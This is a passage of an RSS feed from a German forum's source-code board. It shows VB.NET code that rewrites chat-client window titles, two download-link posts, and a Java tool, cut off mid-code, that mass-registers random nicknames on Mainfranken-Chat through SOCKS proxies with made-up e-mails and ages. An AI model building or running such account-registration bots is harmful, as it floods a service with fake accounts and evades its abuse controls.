#007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;nIndex&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Int32<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Declare&nbsp;Function&nbsp;</span><span style="color: #0000BB">GetParent&nbsp;Lib&nbsp;</span><span style="color: #DD0000">"user32.dll"&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;intptr&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Const&nbsp;</span><span style="color: #0000BB">GWL_HWNDPARENT&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Int32&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">8<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">newwindowlist&nbsp;</span><span style="color: #007700">As&nbsp;List(</span><span style="color: #0000BB">Of&nbsp;String</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;RefreshWindowList</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">newwindowlist&nbsp;</span><span style="color: #007700">=&nbsp;New&nbsp;List(</span><span style="color: #0000BB">Of&nbsp;String</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">EnumWindows</span><span style="color: #007700">(</span><span style="color: #0000BB">AddressOf&nbsp;EnumWinProc</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">CInt</span><span style="color: #007700">(</span><span style="color: #0000BB">True</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br /><br />&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;Function&nbsp;</span><span style="color: #0000BB">EnumWinProc</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lParam&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Boolean<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">IsWindowVisible</span><span style="color: #007700">(</span><span style="color: #0000BB">hwnd</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">GetParent</span><span style="color: #007700">(</span><span style="color: #0000BB">hwnd</span><span style="color: #007700">)&nbsp;=&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">.</span><span style="color: #0000BB">Zero&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">GetWindowLong</span><span style="color: #007700">(</span><span style="color: #0000BB">hwnd</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">GWL_HWNDPARENT</span><span style="color: #007700">)&nbsp;=&nbsp;</span><span style="color: #0000BB">0&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;str&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String</span><span style="color: #007700">.Empty.</span><span style="color: #0000BB">PadLeft</span><span style="color: #007700">(</span><span style="color: #0000BB">GetWindowTextLength</span><span style="color: #007700">(</span><span style="color: #0000BB">hwnd</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">GetWindowText</span><span style="color: #007700">(</span><span style="color: #0000BB">hwnd</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;</span><span style="color: #0000BB">Not&nbsp;String</span><span style="color: #007700">.</span><span style="color: #0000BB">IsNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1</span><span style="color: #007700">))&nbsp;</span><span style="color: #0000BB">Then&nbsp;newwindowlist</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">str</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">EnumWinProc&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">True<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Const&nbsp;</span><span style="color: #0000BB">WM_SETTEXT&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">UInteger&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">12<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Const&nbsp;</span><span style="color: #0000BB">cap&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1048576<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">hWnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Button1_Click</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;e&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;Button1</span><span style="color: #007700">.</span><span style="color: #0000BB">Click<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">For&nbsp;</span><span style="color: #0000BB">Each&nbsp;item&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;In&nbsp;CheckedListBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">CheckedItems<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;titelfensterüberschrift&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"TEXT&nbsp;-&nbsp;http://sniper.x9.eu/"<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">hWnd&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">FindWindow</span><span style="color: #007700">(</span><span style="color: #DD0000">"SunAwtFrame"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">item</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SendMessages</span><span style="color: #007700">(</span><span style="color: #0000BB">hWnd</span><span style="color: #007700">.</span><span style="color: #0000BB">ToInt32</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">WM_SETTEXT</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">cap</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">titelfensterüberschrift</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Next<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Form1_Load</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;e&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;MyBase</span><span style="color: #007700">.</span><span style="color: #0000BB">Load<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RefreshWindowList</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">CheckedListBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Items</span><span style="color: #007700">.</span><span style="color: #0000BB">Clear</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;</span><span style="color: #0000BB">Each&nbsp;item&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;In&nbsp;newwindowlist<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">item</span><span style="color: #007700">.</span><span style="color: #0000BB">StartsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">"Channel"</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CheckedListBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Items</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">item</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Next<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Sub<br />End&nbsp;</span><span style="color: #007700">Class&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Vielleicht könnt Ihr etwas damit anfangen. :)<br />
<br />
Grüße.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7493&amp;stc=1&amp;d=1397243329" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sniper</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-source-knuddels-titelfenster-aendern-winapi-32064</guid>
		</item>
		<item>
			<title><![CDATA[[VB.NET] GetChannelInfos]]></title>
			<link>sourcecode-91/vb-net-getchannelinfos-31706?goto=newpost</link>
			<pubDate>Thu, 19 May 2011 13:46:58 GMT</pubDate>
			<description>Anhang 7458 (https://u-labs.de/forum/attachment.php?attachmentid=7458) 
 
Sollten paar von Euch kennen. War für den UH Client gecodet, sollte aber...</description>
			<content:encoded><![CDATA[<div><a href="https://u-labs.de/forum/attachment.php?attachmentid=7458&amp;d=1396757494" id="attachment7458" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7458&amp;d=1396757494&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	unbenanntws7z.png&nbsp;
Hits:	190&nbsp;
Größe:	74,4 KB&nbsp;
ID:	7458" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
Sollten paar von Euch kennen. War für den UH Client gecodet, sollte aber kein Problem für paar von Euch sein, es auf die KNLib anzupassen. <br />
<br />
Download: <a href="http://x7.to/ap26gq" target="_blank" rel="nofollow">x7.to » Download: GetChannelInfos.rar</a></div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7458&amp;d=1396757494" 
rel="Lightbox_372236" id="attachment7458"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7458&amp;stc=1&amp;thumb=1&amp;d=1396757494" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	unbenanntws7z.png&nbsp;
Hits:	-&nbsp;
Größe:	74,4 KB&nbsp;
ID:	7458"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-net-getchannelinfos-31706</guid>
		</item>
		<item>
			<title><![CDATA[[Open Source] Knuddels Live Client v1.0.90aeh]]></title>
			<link>sourcecode-91/open-source-knuddels-live-client-v1-0-90aeh-30372?goto=newpost</link>
			<pubDate>Wed, 18 May 2011 17:33:49 GMT</pubDate>
			<description>Hallo zusammen, 
 
Eigentlich war mir ja von Anfang an klar, dass mir die Zeit hierzu  fehlt. Trotzdem habe ich mich dran gesetzt und das Wichtigste...</description>
			<content:encoded><![CDATA[<div>Hallo zusammen,<br />
<br />
Eigentlich war mir ja von Anfang an klar, dass mir die Zeit hierzu  fehlt. Trotzdem habe ich mich dran gesetzt und das Wichtigste fertig  gestellt, ein Client mit den wichtigsten Funktionen und Fixes, der zu  einem zweiten Server verbunden ist. Darauf kann man gut aufbauen und  ganz neue Dinge schaffen, die es in dieser Form wohl noch nicht gab. Man  kann z. B. eigene (MultiPlayer-)Games entwickeln und die Profile  dementsprechend erweitern. Ich hoffe, dass ich der Szene mit diesem  Release nochmal einen Schubs in die richtige Richtung geben kann, seid  kreativ und macht was draus.<br />
<br />
<b>Download:</b> <a href="http://ul.to/yksosnjp" target="_blank" rel="nofollow">uploaded.to - where your files have to be uploaded to</a></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Nightking</dc:creator>
			<guid isPermaLink="true">sourcecode-91/open-source-knuddels-live-client-v1-0-90aeh-30372</guid>
		</item>
		<item>
			<title>MFC-Proxy-Regger OPENSOURCE</title>
			<link>sourcecode-91/mfc-proxy-regger-opensource-30997?goto=newpost</link>
			<pubDate>Sat, 14 May 2011 09:57:10 GMT</pubDate>
			<description>Guten Tag, 
 
hier mal eine kleine Klasse, mit der ihr ganz leicht Nicks im MFC registrieren könnt. 
Geschrieben ist das Ganze in Java, ca. 150...</description>
			<content:encoded><![CDATA[<div>Guten Tag,<br />
<br />
hier mal eine kleine Klasse, mit der ihr ganz leicht Nicks im MFC registrieren könnt.<br />
Geschrieben ist das Ganze in Java, ca. 150 Zeilen.<br />
<br />
Es wird ein Randomnick generiert, sowie eine Randommail und Randomage.<br />
<br />
Es ist nur sehr Basic, da es nur als kleines Testprojekt gedacht war. Wer es erweitern will findet unter <a href="http://forum.banana-coding.com/showthread.php?t=4" target="_blank" rel="nofollow">[Server] Registration-Server - Banana-Coding Forum</a> eine Dokumentation des Registrationsservers und seines Protokolls.<br />
<br />
Beispieloutput:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			MFC REGGER V1.0 BY KRT<br />
Generate Ank3rkr3uz (6dc3a1db725501f1@gmx.net) [AGE: 59]<br />
POPUP: Ank3rkr3uz registriert<br />
_Ank3rkr3uz registriert_##Du hast soeben den Nicknamen _Ank3rkr3uz_ angemeldet, eine gute Wahl. Dieser Nickname gehört nun Dir, nur Du kennst das dazugehörige Passwort.##Gib Mainfranken-Chat nun mindestens eine _halbe Stunde_. Diese Zeit brauchst Du, um die Community richtig kennenzulernen. ##Trage Dein gewähltes _Passwort_ im Loginfenster ein und klicke anschließend auf das Button _Eintreten_. Alternativ kannst Du auch einen _beliebigen Channel_ in der Liste durch einen _Doppelklick_ auswählen.##Anschließend öffnet sich das Channelfenster, in dem Du nach Herzenslust chatten kannst.#Nach fünf Minuten wird sich das automatische Chathilfesystem _Tutorial_ bei Dir melden.##PS:  Du bist selbst verantwortlich für dein Passwort und solltest es _keinem_ geben. Weder einem Freund noch Feind. Fallt nicht auf Betrüger rein, die _Charles _imitieren, denn Charles braucht euer Passwort sicher nicht!<br />
|-------------------¦<br />
BUILD SUCCESSFUL (total time: 4 seconds)
			
		<hr />
	</div>
</div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">package mfcregger;<br />
<br />
import java.io.BufferedReader;<br />
import java.io.DataInputStream;<br />
import java.io.DataOutputStream;<br />
import java.io.IOException;<br />
import java.io.InputStreamReader;<br />
import java.net.InetSocketAddress;<br />
import java.net.Proxy;<br />
import java.net.Socket;<br />
import java.net.SocketAddress;<br />
import java.net.URL;<br />
import java.util.Random;<br />
import java.util.StringTokenizer;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author KrT<br />
&nbsp;*/<br />
public class Regger {<br />
<br />
&nbsp; &nbsp; private Socket sock;<br />
&nbsp; &nbsp; private DataInputStream input;<br />
&nbsp; &nbsp; private DataOutputStream output;<br />
&nbsp; &nbsp; private Random rand;<br />
&nbsp; &nbsp; private Random rnd;<br />
<br />
&nbsp; &nbsp; public Regger(String host, int port, String pHost, int pPort, String password) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(!pHost.isEmpty()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SocketAddress addr = new InetSocketAddress(pHost, pPort);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Proxy proxy = new Proxy(Proxy.Type.SOCKS, addr);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock = new Socket(proxy);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InetSocketAddress dest = new InetSocketAddress(host, port);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.connect(dest);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock = new Socket(host, port);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; input = new DataInputStream(sock.getInputStream());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output = new DataOutputStream(sock.getOutputStream());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; work(password);<br />
&nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException ex) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ex.printStackTrace();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private void work(String pass) throws IOException {<br />
&nbsp; &nbsp; &nbsp; &nbsp; rnd = new Random(System.currentTimeMillis());<br />
&nbsp; &nbsp; &nbsp; &nbsp; String nick = generateNick(10, true);<br />
&nbsp; &nbsp; &nbsp; &nbsp; String mail = generateMail();<br />
&nbsp; &nbsp; &nbsp; &nbsp; String age = String.valueOf(10 + rnd.nextInt(50));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(String.format(&quot;Generate %s (%s) [AGE: %s]&quot;, nick, mail, age));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; long currentTimeMillis = System.currentTimeMillis();<br />
&nbsp; &nbsp; &nbsp; &nbsp; rand = new Random(currentTimeMillis + 25091978L);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; byte[] authPackage = new byte[9];<br />
&nbsp; &nbsp; &nbsp; &nbsp; authPackage[0] = 0x02;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 56; i &gt;= 0; i -= 8) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; authPackage[(64 - i &gt;&gt; 3)] = (byte) (int) (currentTimeMillis &gt;&gt; i &amp; 0xFF);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; output.write(authPackage);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; send(&quot;z\0V1.1g\0http://www.mainfranken-chat.de/unterseiten/register.html\0&quot; + &quot;0&quot;);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuilder token = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; token.append(&quot;g&quot;).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(&quot;s0&quot;).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(nick).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(pass).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(pass).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(mail).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(age).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(&quot; &quot;).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(&quot; &quot;).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(&quot;0&quot;).append(&quot;\0&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .append(&quot;1&quot;).append(&quot;\0&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; send(token.toString());<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringTokenizer next = read();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(!next.nextToken().equals(&quot;s&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(&quot;POPUP: &quot; + next.nextToken() + &quot;\n&quot; + next.nextToken() + &quot;\n|-------------------¦&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; token = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; token.append(&quot;g&quot;).append(&quot;\0&quot;).append(&quot;s1&quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;).append(&quot;\0&quot;).append(&quot; &quot;);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; send(token.toString());<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; next = read();<br />
&nbsp; &nbsp; &nbsp; &nbsp; next.nextToken();<br />
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(&quot;POPUP: &quot; + next.nextToken() + &quot;\n&quot; + next.nextToken() + &quot;\n|-------------------¦&quot;);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private StringTokenizer read() throws IOException {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return new StringTokenizer(input.readUTF(), &quot;\0&quot;);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private void send(String s) throws IOException {<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuilder builder = new StringBuilder(s.length());<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; s.length(); i++) {<br />
